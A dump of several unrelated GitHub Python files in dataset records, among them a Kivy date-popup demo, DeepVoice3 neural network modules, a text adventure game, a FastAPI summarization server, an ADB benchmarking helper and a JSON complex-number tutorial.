5)\nengine.save_files(images)\n","repo_name":"szymonczaplak/Scrapping","sub_path":"google_img_scrap.py","file_name":"google_img_scrap.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"4155951749","text":"from datetime import datetime\r\nfrom kivy.app import App\r\nfrom kivy.uix.popup import Popup\r\nfrom kivy.lang import Builder\r\nfrom kivy.clock import Clock\r\nfrom kivy.uix.label import Label\r\nfrom kivy.uix.button import Button\r\nfrom kivy.uix.boxlayout import BoxLayout\r\nfrom kivy.uix.textinput import TextInput\r\nfrom kivy.properties import StringProperty, NumericProperty, ListProperty\r\nimport SimulateOutside\r\nfrom DatePopupButton import DateEditButton, DatePopup\r\n\r\nBuilder.load_string('''\r\n:\r\n canvas.before:\r\n Color:\r\n rgba: self.bcolor\r\n Rectangle:\r\n pos: self.pos\r\n size: self.size\r\n\r\n:\r\n orientation: 'vertical'\r\n''')\r\nclass ColorLabel(Label):\r\n bcolor = ListProperty([.7, .7, .7, 1])\r\n\r\n def __init__(self, **kwargs):\r\n super(ColorLabel, self).__init__(**kwargs)\r\n pass\r\n # this is a label with color. I don't know if this custom class is needed\r\n # there's probably a way to not use this\r\n\r\n\r\nclass RootWidget(BoxLayout):\r\n # this user interface is just a small part of what would be in a larger user interface\r\n def __init__(self, **kwargs):\r\n super(RootWidget, self).__init__(**kwargs)\r\n # all of this stuff will need to be added into whatever user interface you use\r\n popup_trigger = DateEditButton()\r\n self.top_label0 = ColorLabel(size_hint_y=None, height=50,\r\n bcolor=[.6, .3, .4, 1])\r\n if popup_trigger.hasDate:\r\n self.top_label0.text=str(datetime.strptime(popup_trigger.ISODateString, \"%Y-%m-%dT%H:%M:%S\"))\r\n else:\r\n self.top_label0.text=\"No date given\"\r\n # this detects changes in the series values and calls changes to the user interface be made\r\n popup_trigger.bind(ISODateString=self.update_date)\r\n self.add_widget(self.top_label0)\r\n self.add_widget(popup_trigger)\r\n\r\n def update_date(self, instance, value):\r\n # this function updates the installment number shown on the user interface whenever the value changes\r\n self.top_label0.text = str(datetime.strptime(value, \"%Y-%m-%dT%H:%M:%S\"))\r\n\r\n\r\nclass SampleApp(App):\r\n def build(self):\r\n return RootWidget()\r\n\r\n\r\nSampleApp().run()","repo_name":"hwynn/Kivy-Examples","sub_path":"DoThing/DatePopupTest.py","file_name":"DatePopupTest.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40344648178","text":"# coding: utf-8\n\nimport torch\nfrom torch import nn\nimport math\nimport numpy as np\nfrom torch.nn import functional as F\n\n\ndef position_encoding_init(n_position, d_pos_vec, position_rate=1.0,\n sinusoidal=True):\n ''' Init the sinusoid position encoding table '''\n\n # keep dim 0 for padding token position encoding zero vector\n position_enc = np.array([\n [position_rate * pos / np.power(10000, 2 * (i // 2) / d_pos_vec) for i in range(d_pos_vec)]\n if pos != 0 else np.zeros(d_pos_vec) for pos in range(n_position)])\n\n position_enc = torch.from_numpy(position_enc).float()\n if sinusoidal:\n position_enc[1:, 0::2] = torch.sin(position_enc[1:, 0::2]) # dim 2i\n position_enc[1:, 1::2] = torch.cos(position_enc[1:, 1::2]) # dim 2i+1\n\n return position_enc\n\n\ndef sinusoidal_encode(x, w):\n y = w * x\n y[1:, 0::2] = torch.sin(y[1:, 0::2].clone())\n y[1:, 1::2] = torch.cos(y[1:, 1::2].clone())\n return y\n\n\nclass SinusoidalEncoding(nn.Embedding):\n\n def __init__(self, num_embeddings, embedding_dim,\n *args, **kwargs):\n super(SinusoidalEncoding, self).__init__(num_embeddings, embedding_dim,\n padding_idx=0,\n *args, **kwargs)\n self.weight.data = position_encoding_init(num_embeddings, embedding_dim,\n position_rate=1.0,\n sinusoidal=False)\n\n def forward(self, x, w=1.0):\n isscaler = np.isscalar(w)\n assert self.padding_idx is not None\n\n if isscaler or w.size(0) == 1:\n weight = sinusoidal_encode(self.weight, w)\n return F.embedding(\n x, weight, self.padding_idx, self.max_norm,\n self.norm_type, self.scale_grad_by_freq, self.sparse)\n else:\n # TODO: cannot simply apply for batch\n # better to implement efficient function\n pe = []\n for batch_idx, we in enumerate(w):\n weight = sinusoidal_encode(self.weight, we)\n pe.append(F.embedding(\n x[batch_idx], weight, self.padding_idx, self.max_norm,\n self.norm_type, self.scale_grad_by_freq, self.sparse))\n pe = torch.stack(pe)\n return pe\n\n\nclass GradMultiply(torch.autograd.Function):\n @staticmethod\n def forward(ctx, x, scale):\n ctx.scale = scale\n res = x.new(x)\n ctx.mark_shared_storage((x, res))\n return res\n\n @staticmethod\n def backward(ctx, grad):\n return grad * ctx.scale, None\n\n\ndef Linear(in_features, out_features, dropout=0):\n \"\"\"Weight-normalized Linear layer (input: N x T x C)\"\"\"\n m = nn.Linear(in_features, out_features)\n m.weight.data.normal_(mean=0, std=math.sqrt((1 - dropout) / in_features))\n m.bias.data.zero_()\n return nn.utils.weight_norm(m)\n\n\ndef Embedding(num_embeddings, embedding_dim, padding_idx, std=0.01):\n m = nn.Embedding(num_embeddings, embedding_dim, padding_idx=padding_idx)\n m.weight.data.normal_(0, std)\n return m\n\n\ndef Conv1d(in_channels, out_channels, kernel_size, dropout=0, std_mul=4.0, **kwargs):\n from .conv import Conv1d\n m = Conv1d(in_channels, out_channels, kernel_size, **kwargs)\n std = math.sqrt((std_mul * (1.0 - dropout)) / (m.kernel_size[0] * in_channels))\n m.weight.data.normal_(mean=0, std=std)\n m.bias.data.zero_()\n return nn.utils.weight_norm(m)\n\n\ndef ConvTranspose1d(in_channels, out_channels, kernel_size, dropout=0,\n std_mul=1.0, **kwargs):\n m = nn.ConvTranspose1d(in_channels, out_channels, kernel_size, **kwargs)\n std = math.sqrt((std_mul * (1.0 - dropout)) / (m.kernel_size[0] * in_channels))\n m.weight.data.normal_(mean=0, std=std)\n m.bias.data.zero_()\n return nn.utils.weight_norm(m)\n\n\nclass Conv1dGLU(nn.Module):\n \"\"\"(Dilated) Conv1d + Gated linear unit + (optionally) speaker embedding\n \"\"\"\n\n def __init__(self, n_speakers, speaker_embed_dim,\n in_channels, out_channels, kernel_size,\n dropout, padding=None, dilation=1, causal=False, residual=False,\n *args, **kwargs):\n super(Conv1dGLU, self).__init__()\n self.dropout = dropout\n self.residual = residual\n if padding is None:\n # no future time stamps available\n if causal:\n padding = (kernel_size - 1) * dilation\n else:\n padding = (kernel_size - 1) // 2 * dilation\n self.causal = causal\n\n self.conv = Conv1d(in_channels, 2 * out_channels, kernel_size,\n dropout=dropout, padding=padding, dilation=dilation,\n *args, **kwargs)\n if n_speakers > 1:\n self.speaker_proj = Linear(speaker_embed_dim, out_channels)\n else:\n self.speaker_proj = None\n\n def forward(self, x, speaker_embed=None):\n return self._forward(x, speaker_embed, False)\n\n def incremental_forward(self, x, speaker_embed=None):\n return self._forward(x, speaker_embed, True)\n\n def _forward(self, x, speaker_embed, is_incremental):\n residual = x\n x = F.dropout(x, p=self.dropout, training=self.training)\n if is_incremental:\n splitdim = -1\n x = self.conv.incremental_forward(x)\n else:\n splitdim = 1\n x = self.conv(x)\n # remove future time steps\n x = x[:, :, :residual.size(-1)] if self.causal else x\n\n a, b = x.split(x.size(splitdim) // 2, dim=splitdim)\n if self.speaker_proj is not None:\n softsign = F.softsign(self.speaker_proj(speaker_embed))\n # Since conv layer assumes BCT, we need to transpose\n softsign = softsign if is_incremental else softsign.transpose(1, 2)\n a = a + softsign\n x = a * torch.sigmoid(b)\n return (x + residual) * math.sqrt(0.5) if self.residual else x\n\n def clear_buffer(self):\n self.conv.clear_buffer()\n\n\nclass HighwayConv1d(nn.Module):\n \"\"\"Weight normzlized Conv1d + Highway network (support incremental forward)\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size=1, padding=None,\n dilation=1, causal=False, dropout=0, std_mul=None, glu=False):\n super(HighwayConv1d, self).__init__()\n if std_mul is None:\n std_mul = 4.0 if glu else 1.0\n if padding is None:\n # no future time stamps available\n if causal:\n padding = (kernel_size - 1) * dilation\n else:\n padding = (kernel_size - 1) // 2 * dilation\n self.causal = causal\n self.dropout = dropout\n self.glu = glu\n\n self.conv = Conv1d(in_channels, 2 * out_channels,\n kernel_size=kernel_size, padding=padding,\n dilation=dilation, dropout=dropout,\n std_mul=std_mul)\n\n def forward(self, x):\n return self._forward(x, False)\n\n def incremental_forward(self, x):\n return self._forward(x, True)\n\n def _forward(self, x, is_incremental):\n \"\"\"Forward\n\n Args:\n x: (B, in_channels, T)\n returns:\n (B, out_channels, T)\n \"\"\"\n\n residual = x\n x = F.dropout(x, p=self.dropout, training=self.training)\n if is_incremental:\n splitdim = -1\n x = self.conv.incremental_forward(x)\n else:\n splitdim = 1\n x = self.conv(x)\n # remove future time steps\n x = x[:, :, :residual.size(-1)] if self.causal else x\n\n if self.glu:\n x = F.glu(x, dim=splitdim)\n return (x + residual) * math.sqrt(0.5)\n else:\n a, b = x.split(x.size(splitdim) // 2, dim=splitdim)\n T = torch.sigmoid(b)\n return (T * a + (1 - T) * residual)\n\n def clear_buffer(self):\n self.conv.clear_buffer()\n\n\ndef get_mask_from_lengths(memory, memory_lengths):\n \"\"\"Get mask tensor from list of length\n Args:\n memory: (batch, max_time, dim)\n memory_lengths: array like\n \"\"\"\n max_len = max(memory_lengths)\n mask = torch.arange(max_len).expand(memory.size(0), max_len) < torch.tensor(memory_lengths).unsqueeze(-1)\n mask = mask.to(memory.device)\n return ~mask\n","repo_name":"r9y9/deepvoice3_pytorch","sub_path":"deepvoice3_pytorch/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":8464,"program_lang":"python","lang":"en","doc_type":"code","stars":1900,"dataset":"github-code","pt":"53"}
+{"seq_id":"8208399086","text":"from room import Room\nfrom graph import Graph\nfrom termcolor import colored\nfrom colorama import init\n\ninit(autoreset = True)\n\n# Create the rooms\nroom0 = Room(\"room0\")\nroom1 = Room(\"room1\")\nroom2 = Room(\"room2\")\nroom3 = Room(\"room3\")\nroom4 = Room(\"room4\")\nroom5 = Room(\"room5\")\nroom6 = Room(\"room6\")\nroom7 = Room(\"room7\")\n\n# Create the edges\nroom0.setDoors(room1, None, None, None)\nroom1.setDoors(room2, room4, room0, None)\nroom2.setDoors(None, None, room1, room3)\nroom3.setDoors(None, room2, None, None)\nroom4.setDoors(room7, room5, None, room1)\nroom5.setDoors(None, None, room6, room4)\nroom6.setDoors(room5, None, None, None)\nroom7.setDoors(None, None, room4, None)\n\n# Create the graph\ndungeonMap = Graph([room0, room1, room2, room3, room4, room5, room6, room7])\n\n# Actual Game\n# Track if the player has been in a room before to alter text.\ncomplete0 = False\ncomplete1 = False\ncomplete2 = False\nseen3 = False\ncomplete4 = False\ncomplete5 = False\ncomplete6 = False\nhasKey = False\n\ngamePlaying = True\nwhile (gamePlaying):\n # Events for specific rooms.\n # Room 0\n if (dungeonMap.currentRoom.name == \"room0\"):\n if (complete0):\n print(\"* This is where you first woke up. There was nothing to do but move forward.\")\n else:\n print(\"* You open your eyes, but it isn't much different from being asleep. It is pitch black all around, you can't see a thing.\")\n input(\"(Press enter to continue.)\")\n print(\"* Suddenly you feel a vibration on your wrist. You bring your wrist towards your face and notice a watch with very faintly glowing text.\")\n input(\"...\")\n print(colored(\"Welcome.\", \"green\"))\n input(\"...\")\n print(colored(\"This watch will be your guide through this dark cavern. It will tell you where doors are located, and nothing more.\", \"green\"))\n input(\"...\")\n print(colored(\"Good luck.\", \"green\"))\n print(colored(\"Move between rooms by typing the cardinal direction you wish to go in. You can also type just the first letter.\", \"yellow\"))\n complete0 = True\n\n # Room 1\n if (dungeonMap.currentRoom.name == \"room1\"):\n if (complete1):\n print(\"* This is the first room you moved to after waking up. There didn't seem to be anything to do here.\")\n else:\n print(\"* You still can't see a thing. Part of you wants to go back to the previous room where you know it's safe,\\nbut the sane part of you knows that is not an option.\")\n complete1 = True\n\n # Room 2\n if (dungeonMap.currentRoom.name == \"room2\"):\n if (complete2 and hasKey):\n print(\"* You can faintly hear the two-fingered fiend to the West mumbling to itself.\")\n elif (complete2):\n print(\"* You can hear an ominous snarling noise accompanied by the occasional jangle of a keychain coming from the West.\")\n else:\n print(\"* You suddenly get goosebumps, as a growling sound unlike any you've ever heard can be heard faintly from the room to the West.\\nAfter calming down a bit, you can pick out the sound of keys jangling.\")\n complete2 = True\n\n # Room 3\n if (dungeonMap.currentRoom.name == \"room3\"):\n if (hasKey):\n print(colored(\"What more do you want from me? Get out of here.\", \"red\"))\n else:\n print(\"* Inside the room are three pairs of glowing, pure white eyes. The glow faintly illuminates a face, but not enough to make out any details. The beast notices your presence, and speaks.\")\n input(\"...\")\n if (seen3):\n print(colored(\"Back again? If you wish to lose to me once again, go ahead!\", \"red\"))\n input(\"...\")\n else:\n seen3 = True\n print(colored(\"Hello, trapped one. Here to take my key I assume?\", \"red\"))\n input(\"...\")\n print(colored(\"I won't be giving it up easy. If you want this key, you'll have to beat me in a little game of rock, paper, scissors!\", \"red\"))\n input(\"...\")\n print(colored(\"We go on shoot. Ready? Rock, paper, scissors, SHOOT!\", \"red\"))\n RPS = input(\"* What will you play?: \")\n if (RPS.lower() == \"rock\"):\n print(colored(\"Heh. Rock. I threw paper. Sorry. Better luck text time.\", \"red\"))\n if (complete6):\n input(\"...\")\n print(\"* You recall the message you saw on the tablet. You know you couldn't have lost.\")\n input(\"...\")\n yorn = input(\"* Will you confront the beast? (Y/N): \")\n if (yorn.lower() == \"y\" or yorn.lower == \"yes\"):\n print(\"* You tell the monster that he's lying, and that you know you won the game.\")\n input(\"...\")\n print(colored(\"Is that so? In that case, what did I throw?\", \"red\"))\n input(\"...\")\n RPS2 = input(\"* Did the monster throw rock, paper, or scissors?: \")\n if (RPS2.lower() == \"rock\"):\n print(colored(\"Whatever. Then we tied. Better luck next time!\", \"red\"))\n dungeonMap.kickedEast()\n elif (RPS2.lower() == \"paper\"):\n print(colored(\"Of course! That's what I already said! Better luck next time!\", \"red\"))\n dungeonMap.kickedEast()\n elif (RPS2.lower() == \"scissors\"):\n print(colored(\"How... I-I don't know what you mean. How do you know I threw scissors?\", \"red\"))\n input(\"...\")\n answer = input(\"* How do you know the monster threw scissors?: \")\n if ((\"two finger\" in answer) or (\"2 finger\" in answer)):\n print(colored(\"You weren't supposed to be able to see! How did you possibly know that? Whatever, I care not. Take the key and go.\", \"red\"))\n input(\"...\")\n print(\"* You open your hand and extend it towards the beast. A moment later you feel a cold metal object placed in your palm. You grip the key, turn around, and leave the room.\")\n hasKey = True\n dungeonMap.goEast()\n else:\n print(colored(\"As I expected. You have no proof. Get out of here.\", \"red\"))\n dungeonMap.kickedEast()\n else:\n print(colored(\"Ha! That isn't an option. Sorry. Better luck next time!\", \"red\"))\n dungeonMap.kickedEast()\n elif (yorn.lower() == \"n\" or yorn.lower() == \"no\"):\n dungeonMap.kickedEast()\n else:\n print(colored(\"Get out of here already!\", \"red\"))\n dungeonMap.kickedEast()\n else:\n dungeonMap.kickedEast()\n elif (RPS.lower() == \"paper\"):\n print(colored(\"Heh. Paper. I threw scissors. Sorry. Better luck next time!\", \"red\"))\n dungeonMap.kickedEast()\n elif (RPS.lower() == \"scissors\"):\n print(colored(\"Heh. Scissors. I threw Rock. Sorry. Better luck next time!\", \"red\"))\n dungeonMap.kickedEast()\n else:\n print(colored(\"Ha! That isn't an option. Sorry. Better luck next time!\", \"red\"))\n dungeonMap.kickedEast()\n\n\n # Room 4\n if (dungeonMap.currentRoom.name == \"room4\"):\n if (complete4 and complete6):\n print(\"* There is a faint, yet hopefully light shinign from the North. You can vaguely make out the beeping of the tablet you found to the East.\")\n elif (complete4):\n print(\"* There is faint, yet hopeful light shining from the North and an electronic beep coming from the East.\")\n else:\n print(\"* You notice an incredibly faint light shining from the North. Could it be a way out? Although quiet, you can make out the sound of an electronic beep coming from the East.\")\n complete4 = True\n\n # Room 5\n if (dungeonMap.currentRoom.name == \"room5\"):\n if (complete5 and complete6):\n print(\"* You can still hear the tablet beeping to the South.\")\n elif (complete5):\n print(\"* You can still hear the beeping coming from the South.\")\n else:\n print(\"* The beeping you heard in the previous room has grown louder. It is clear that it is coming from the South.\")\n complete5 = True\n\n # Room 6\n if (dungeonMap.currentRoom.name == \"room6\"):\n if (complete6 and hasKey):\n print(\"* This is where you found the tablet that guided you to defeat the beast and retrieve the key.\")\n elif (complete6):\n print(\"* This is where you found the mysterious tablet with a description of a horrible beast that only has two fingers and cannot make a fist.\")\n else:\n print(\"* As you near the center of the room, the beep gets even louder. As you get closer to the noise you feel your foot hit something. You bend down to pick it up.\")\n print(\"As soon as you touch it, word light up a screen revealing it to be a tablet. It reads:\")\n input(\"...\")\n print(colored(\"If you have found this, then you have found yourself in the same situation I was in. The key to escape this place is kept by a horrible beast in the Northwestern corner.\", \"magenta\"))\n input(\"...\")\n print(colored(\"The beast will make you play a game to receive the key, but it does not play fair. Even if you win, it will insist you have lost, as it knows you cannot see.\", \"magenta\"))\n input(\"...\")\n print(colored(\"To get the key, you must expose its lie. The beast cannot make a fist and only has two fingers. Use this information to claim the key and escape. - M\", \"magenta\"))\n input(\"...\")\n print(\"* The screen shuts off and you are engulfed in darkness again.\")\n complete6 = True\n # Room 7\n if (dungeonMap.currentRoom.name == \"room7\"):\n if (hasKey):\n gamePlaying = False\n break\n else:\n print(\"* The light that you saw from the previous room has grown clearer. It outlines a door. In the faint glow, you can barely make out a padlock on the door.\\nYou try to force the door, but it's of no use. You will need a key to proceed any further.\")\n\n # Moving to another room.\n print(colored(dungeonMap.printStatus(dungeonMap.currentRoom), \"green\"))\n direction = input(colored(\"Where will you go? \", \"green\"))\n if (direction.lower() == \"north\" or direction.lower() == \"n\"):\n dungeonMap.goNorth()\n elif (direction.lower() == \"east\" or direction.lower() == \"e\"):\n dungeonMap.goEast()\n elif (direction.lower() == \"south\" or direction.lower() == \"s\"):\n dungeonMap.goSouth()\n elif (direction.lower() == \"north\" or direction.lower() == \"w\"):\n dungeonMap.goWest()\n else:\n print(colored(\"Invalid Input. Please type 'North', 'East', 'South', or 'West'.\", \"yellow\"))\n\nprint(\"* With the key in hand you approach the door. You insert the key into the lock and pull open the door. The light is blinding, but you step through.\")\ninput(\"...\")\nprint(\"* You can't see, but you can feel the sun beating down on you and the chriping of birds.\")\ninput(\"...\")\nprint(\"You made it out.\")\ninput(\"...\")\nprint(colored(\"THE END\", \"blue\"))\n \n","repo_name":"benmonday/Text-Adventure","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8470913545","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom pydantic import BaseModel\nfrom nlp import NLP\nimport uvicorn\n\n\nclass Message(BaseModel):\n input: str\n\n\napp = FastAPI()\nnlp = NLP()\n\norigins = [\n \"https://localhost\",\n \"http://localhost:3000\",\n \"https:127:0.0.1:3000\"\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=['POST'],\n allow_headers=[\"*\"],\n)\n\n\n@app.post(\"/summarize/\")\nasync def summarize(message: Message):\n success = True\n try:\n summary = nlp.summarize(reviews=message.input)\n except Exception:\n summary = 'Couldn\\'t generate summary'\n success = False\n finally:\n return {\n \"success\": success,\n \"summary\": summary\n }\n\n\nif __name__ == '__main__':\n uvicorn.run(app, port=1234, host='0.0.0.0')\n","repo_name":"cmaspi/Dev-Datathon","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"26637053887","text":"import subprocess\nimport json\nimport time\nfrom datetime import timedelta\nfrom params import AdbHelper, Sysbench, Tinymembench, StressNg, Settings\n\n\nclass SysbenchRunner:\n DEFAULT = object()\n\n def __init__(self):\n self.result = {}\n self.cpu_count = self.get_cores_count()\n\n def get_json(self):\n return json.dumps(self.result)\n\n def save_json(self):\n with open('sysbench_run_' + str(int(time.time())) + '.json', 'w', encoding='utf-8') as f:\n json.dump(self.result, f, ensure_ascii=False, indent=4)\n\n @staticmethod\n def get_cores_count():\n cpuinfo = subprocess.run([*AdbHelper.SHELL, 'cat /proc/cpuinfo'], capture_output=True, text=True)\n cpu_count = 1\n for line in cpuinfo.stdout:\n if 'processor' in line:\n cpu_count = line.split(':')[1].strip\n return int(cpu_count)\n\n @staticmethod\n def parse_result(run_result):\n test_result = {}\n temp = None\n tag = 'Threads started!'\n tag_found = False\n for line in run_result.splitlines():\n if not tag_found:\n tag_found = tag in line\n if ':' in line and tag_found:\n if line.split(':')[1] == '':\n temp = line.split(':')[0]\n test_result[temp] = {}\n else:\n key, value = line.split(':')[0].strip(), line.split(':')[1].strip()\n if temp is None:\n test_result[key] = value\n else:\n test_result[temp][key] = value\n return test_result\n\n def run_cpu_test(self, max_prime=Sysbench.DEFAULT.CPU_MAX_PRIME, threads=DEFAULT):\n if threads is self.DEFAULT:\n threads = str(self.get_cores_count())\n print('Starting CPU Test...')\n sysbench_run = subprocess.run(\n [*AdbHelper.SHELL, Sysbench.PATH, Sysbench.CPU_RUN, Sysbench.CPU_THREADS + threads,\n Sysbench.CPU_MAX_PRIME + max_prime], capture_output=True, text=True)\n self.result['CPU'] = self.parse_result(sysbench_run.stdout)\n\n def run_threads_test(self, yields=Sysbench.DEFAULT.THREADS_YIELDS, thread_locks=Sysbench.DEFAULT.THREADS_LOCKS,\n threads=DEFAULT):\n if threads is self.DEFAULT:\n threads = str(self.get_cores_count() * 4)\n print('Starting threads test...')\n sysbench_run = subprocess.run(\n [*AdbHelper.SHELL, Sysbench.PATH, Sysbench.THREADS_RUN, Sysbench.THREADS_YIELDS + yields,\n Sysbench.THREADS_LOCKS + thread_locks, Sysbench.THREADS_THREADS + threads], capture_output=True, text=True)\n self.result['Threads'] = self.parse_result(sysbench_run.stdout)\n\n def run_mem_test(self, mem_total=Sysbench.DEFAULT.MEM_TOTAL, mem_block=Sysbench.DEFAULT.MEM_BLOCK, threads=DEFAULT):\n if threads is self.DEFAULT:\n threads = str(self.get_cores_count() * 4)\n print('Starting mem test...')\n sysbench_run = subprocess.run(\n [*AdbHelper.SHELL, Sysbench.PATH, Sysbench.MEM_RUN, Sysbench.MEM_TOTAL + mem_total,\n Sysbench.MEM_BLOCK + mem_block, Sysbench.MEM_THREADS + threads],\n capture_output=True, text=True)\n self.result['Memory'] = self.parse_result(sysbench_run.stdout)\n\n def run_fileio_test(self, io_total=Sysbench.DEFAULT.IO_TOTAL, io_test_mode=Sysbench.DEFAULT.IO_TEST_MODE,\n io_fsync_freq=Sysbench.DEFAULT.IO_FSYNC_FREQ):\n sysbench_prep = subprocess.run(\n [*AdbHelper.SHELL, Sysbench.PATH, Sysbench.IO_PREPARE, Sysbench.IO_TOTAL + io_total],\n capture_output=True, text=True)\n if 'FATAL' in sysbench_prep.stdout:\n raise Exception('Can\\'t create test files. Out of space?')\n print('Running fileIO test...')\n sysbench_run = subprocess.run([*AdbHelper.SHELL, Sysbench.PATH, Sysbench.IO_RUN, Sysbench.IO_TOTAL + io_total,\n Sysbench.IO_MODE + io_test_mode, Sysbench.IO_FSYNC_FREQ + io_fsync_freq],\n capture_output=True, text=True)\n sysbench_cleanup = subprocess.run([*AdbHelper.SHELL, Sysbench.PATH, Sysbench.IO_CLEANUP])\n self.result['FileIO'] = self.parse_result(sysbench_run.stdout)\n\n def run_all(self):\n self.run_fileio_test()\n self.run_mem_test()\n self.run_threads_test()\n self.run_cpu_test()\n\n\nclass TinymembenchRunner:\n\n def __init__(self):\n self.result = {}\n\n def run(self):\n tinymem_run = subprocess.run([*AdbHelper.SHELL, Tinymembench.PATH], capture_output=True, text=True)\n self.result = self.parse_result(tinymem_run.stdout)\n self.result['timestamp'] = int(time.time())\n\n def save_json(self):\n with open('tinybench_' + str(int(time.time())) + '.json', 'w', encoding='utf-8') as f:\n json.dump(self.result, f, ensure_ascii=False, indent=4)\n\n def parse_result(self, text):\n self.result = {'BANDWIDTH': {}, 'LATENCY': {}}\n counter = 0\n for line in text.splitlines():\n if '=======' in line:\n print('counter is ', counter)\n counter += 1\n if counter == 2 and ':' in line:\n temp_result = {\n line.split(':')[0].strip().replace('copy ', '').replace(' bytes step', ' ').replace(' byte blocks',\n ''):\n line.split(':')[1].strip()}\n self.result['BANDWIDTH'].update(temp_result)\n if counter == 4 and ':' in line and 'block' not in line:\n temp_result = {line.split(':')[0].strip(): line.split(':')[1].strip().replace(' ', '').split('/')}\n self.result['LATENCY'].update(temp_result)\n return self.result\n\n\nclass StressNgRunner:\n DEFAULT = object()\n\n def __init__(self):\n self.result = {}\n self.start_time = int(time.time())\n\n @staticmethod\n def is_it_num(line):\n try:\n int(line)\n return True\n except:\n return False\n\n def save_json(self):\n with open('stressng_' + str(self.start_time) + '.json', 'w', encoding='utf-8') as f:\n json.dump(self.result, f, ensure_ascii=False, indent=4)\n\n def run_cpu_long_stress(self):\n stress_run = subprocess.Popen([*AdbHelper.SHELL, StressNg.PATH, StressNg.TZ, StressNg.T + StressNg.DEFAULT.T,\n StressNg.METRICS_BRIEF, StressNg.CPU + StressNg.DEFAULT.CPU,\n StressNg.MATRIX + '0', StressNg.MATRIX_SIZE + '64', StressNg.IO + '6',\n StressNg.VM + '1',\n StressNg.VM_BYTES + '100M'],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT, universal_newlines=True)\n freq_watcher = subprocess.Popen([*AdbHelper.WATCH, AdbHelper.CPU_CUR_FREQ],\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)\n cpu_temp_watcher = subprocess.Popen(['adb', 'shell', 'watch -n 1 cat sys/class/thermal/thermal_zone0/temp'],\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)\n while stress_run.poll() is None:\n\n freq = freq_watcher.stdout.readline()\n cpu = cpu_temp_watcher.stdout.readline()\n if self.is_it_num(freq):\n timestamp = int(time.time()) - self.start_time\n self.result[timestamp] = {}\n self.result[timestamp]['FREQ'] = int(freq)\n self.result[timestamp]['CPUTEMP'] = int(cpu)\n print('\\rstressng runned for ', StressNg.DEFAULT.T, 'Currently runned for: ',\n str(timedelta(seconds=(time.time() - self.start_time))),\n 'FREQ:', freq, 'TEMP:', cpu, end='')\n self.save_json()\n print('Successfully finished')\n print(stress_run.stdout.read())\n\n\n\nclass AdbPusher:\n\n @staticmethod\n def push_file(filename):\n push = subprocess.run([*AdbHelper.PUSH, Settings.BINARY_PATH + filename, Settings.DEFAULT_PATH],\n capture_output=True, text=True)\n print(*AdbHelper.CHMOD, '+x', Settings.DEFAULT_PATH + filename)\n chmod = subprocess.run([*AdbHelper.CHMOD, '+x', Settings.DEFAULT_PATH + filename])\n print(push.stdout)\n if '0 skipped' in push.stdout:\n return\n else:\n raise Exception('File not transferred')\n\n\n\nadb = AdbPusher()\n# adb.push_file('sysbench')\n# adb.push_file('stress-ng')\n# adb.push_file('tinymembench')\n# adb.push_file('cpuburn')\n#\nsysbench = SysbenchRunner()\n# sysbench.run_cpu_test()\n# sysbench.run_mem_test()\n# sysbench.run_fileio_test()\n# sysbench.run_threads_test()\n# sysbench.save_json()\nstress = StressNgRunner()\n# stress.run_cpu_long_stress()","repo_name":"AvatharN/bench","sub_path":"cmd_helper.py","file_name":"cmd_helper.py","file_ext":"py","file_size_in_byte":9118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"10122683897","text":"import json\n\n\ndef encode_complex(z):\n if isinstance(z, complex):\n return (z.real, z.imag)\n else:\n type_name = z.__class__.__name__\n raise TypeError(f\"Object of type '{type_name}' is not JSON serializable\")\n\nex1 = json.dumps(9 + 5j, default=encode_complex)\nprint(ex1)\n\nclass ComplexEncoder(json.JSONEncoder):\n def default(self, z):\n if isinstance(z, complex):\n return (z.real, z.imag)\n else:\n return super().default(z)\n\nex2 = json.dumps(2 + 5j, cls=ComplexEncoder)\nprint(ex2)\nencoder = ComplexEncoder()\nprint(encoder.encode(3 + 6j))\n\n\n#decoding\n\ncomplex_json = json.dumps(4 + 17j, cls=ComplexEncoder)\nprint(json.loads(complex_json))\n\n\ndef decode_complex(dct):\n if \"__complex__\" in dct:\n return complex(dct[\"real\"], dct[\"imag\"])\n return dct\n\nwith open(\"complex_data.json\") as complex_data:\n\n data = complex_data.read()\n z = json.loads(data, object_hook=decode_complex)\n\nprint(type(z))\n\nwith open(\"complex_data.json\") as complex_data:\n data = complex_data.read()\n numbers = json.loads(data, object_hook=decode_complex)\nprint(numbers)\n\n","repo_name":"Lukong123/WTM-GDG-Bambili-30-Days-of-Code-Datascience","sub_path":"Day24/learnjson.py","file_name":"learnjson.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
